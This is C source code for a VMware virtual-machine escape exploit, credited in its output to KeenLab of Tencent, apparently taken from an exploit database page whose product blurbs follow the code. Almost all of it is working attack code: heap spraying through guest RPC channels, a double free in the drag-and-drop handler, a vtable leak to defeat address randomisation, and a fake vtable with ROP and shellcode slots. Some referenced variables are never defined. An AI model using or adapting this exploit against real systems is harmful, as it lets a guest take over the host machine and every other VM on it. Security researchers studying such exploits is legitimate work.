char *initial_dnd = "tools.capability.dnd_version 4";
static const int cbObj = 0x100;
char *second_dnd = "tools.capability.dnd_version 2";
char *chgver = "vmx.capability.dnd_version";
char *call_transport = "dnd.transport ";
char *readstring = "ToolsAutoInstallGetParams";
typedef struct _DnDCPMsgHdrV4
{
char magic[14];
char dummy[2];
size_t ropper[13];
char shellcode[175];
char padding[0x80];
} DnDCPMsgHdrV4;
void PrepareLFH()
{
char *result = NULL;
char *pObj = malloc(cbObj);
memset(pObj, 'A', cbObj);
pObj[cbObj - 1] = 0;
for (int idx = 0; idx < 1; ++idx) // just occupy 1
{
char *spary = stringf("info-set guestinfo.k%d %s", idx, pObj);
RpcOut_SendOneRaw(spary, strlen(spary), &result, NULL); //alloc one to occupy 4
}
free(pObj);
}
size_t infoleak()
{
#define MAX_LFH_BLOCK 512
Message_Channel *chans[5] = {0};
for (int i = 0; i < 5; ++i)
{
chans[i] = Message_Open(0x49435052);
if (chans[i])
{
Message_SendSize(chans[i], cbObj - 1); //just alloc
}
else
{
Message_Close(chans[i - 1]); //keep 1 channel valid
chans[i - 1] = 0;
break;
}
}
PrepareLFH(); //make sure we have at least 7 hole or open and occupy next LFH block
for (int i = 0; i < 5; ++i)
{
if (chans[i])
{
Message_Close(chans[i]);
}
}
char *result = NULL;
char *pObj = malloc(cbObj);
memset(pObj, 'A', cbObj);
pObj[cbObj - 1] = 0;
char *spary2 = stringf("guest.upgrader_send_cmd_line_args %s", pObj);
while (1)
{
for (int i = 0; i < MAX_LFH_BLOCK; ++i)
{
RpcOut_SendOneRaw(tov4, strlen(tov4), &result, NULL);
RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
RpcOut_SendOneRaw(tov2, strlen(tov2), &result, NULL);
RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
}
for (int i = 0; i < MAX_LFH_BLOCK; ++i)
{
Message_Channel *chan = Message_Open(0x49435052);
if (chan == NULL)
{
puts("Message send error!");
Sleep(100);
}
else
{
Message_SendSize(chan, cbObj - 1);
Message_RawSend(chan, "\xA0\x75", 2); //just ret
Message_Close(chan);
}
}
Message_Channel *chan = Message_Open(0x49435052);
Message_SendSize(chan, cbObj - 1);
Message_RawSend(chan, "\xA0\x74", 2); //free
RpcOut_SendOneRaw(dndtransport, strlen(dndtransport), &result, NULL); //trigger double free
for (int i = 0; i < min(cbObj-3,MAX_LFH_BLOCK); ++i)
{
RpcOut_SendOneRaw(spary2, strlen(spary2), &result, NULL);
Message_RawSend(chan, "B", 1);
RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL);
if (result[0] == 'A' && result[1] == 'A' && strcmp(result, pObj))
{
Message_Close(chan); //free the string
for (int i = 0; i < MAX_LFH_BLOCK; ++i)
{
puts("Trying to leak vtable");
RpcOut_SendOneRaw(tov4, strlen(tov4), &result, NULL);
RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL);
size_t p = 0;
if (result)
{
memcpy(&p, result, min(strlen(result), 8));
printf("Leak content: %p\n", p);
}
size_t low = p & 0xFFFF;
if (low == 0x74A8 || //RpcBase
low == 0x74d0 || //CpV4
low == 0x7630) //DnDV4
{
printf("vmware-vmx base: %p\n", (p & (~0xFFFF)) - 0x7a0000);
return (p & (~0xFFFF)) - 0x7a0000;
}
RpcOut_SendOneRaw(tov2, strlen(tov2), &result, NULL);
RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
}
}
}
Message_Close(chan);
}
return 0;
}
void exploit(size_t base)
{
char *result = NULL;
char *uptime_info = stringf("SetGuestInfo -7-%I64u", 0x41414141);
char *pObj = malloc(cbObj);
memset(pObj, 0, cbObj);
DnDCPMsgHdrV4 *hdr = malloc(sizeof(DnDCPMsgHdrV4));
memset(hdr, 0, sizeof(DnDCPMsgHdrV4));
memcpy(hdr->magic, call_transport, strlen(call_transport));
while (1)
{
RpcOut_SendOneRaw(second_dnd, strlen(second_dnd), &result, NULL);
RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
for (int i = 0; i < MAX_LFH_BLOCK; ++i)
{
Message_Channel *chan = Message_Open(0x49435052);
Message_SendSize(chan, cbObj - 1);
size_t fake_vtable[] = {
base + 0xB87340,
base + 0xB87340,
base + 0xB87340,
base + 0xB87340};
memcpy(pObj, &fake_vtable, sizeof(size_t) * 4);
Message_RawSend(chan, pObj, sizeof(size_t) * 4);
Message_Close(chan);
}
RpcOut_SendOneRaw(uptime_info, strlen(uptime_info), &result, NULL);
RpcOut_SendOneRaw(hdr, sizeof(DnDCPMsgHdrV4), &result, NULL);
//check pwn success?
RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL);
if (*(size_t *)result == 0xdeadbeefc0debabe)
{
puts("VMware escape success! \nPwned by KeenLab, Tencent");
RpcOut_SendOneRaw(initial_dnd, strlen(initial_dnd), &result, NULL);//fix dnd to callable prevent vmtoolsd problem
RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
return;
}
//host dndv4 fill in, try to clean up and free again
Sleep(100);
puts("Object wrong! Retry...");
RpcOut_SendOneRaw(initial_dnd, strlen(initial_dnd), &result, NULL);
RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
}
}
int main(int argc, char *argv[])
{
int ret = 1;
__try
{
while (1)
{
size_t base = 0;
do
{
puts("Leaking...");
base = infoleak();
} while (!base);
puts("Pwning...");
exploit(base);
break;
}
}
__except (ExceptionIsBackdoor(GetExceptionInformation()) ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
{
fprintf(stderr, NOT_VMWARE_ERROR);
return 1;
}
return ret;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation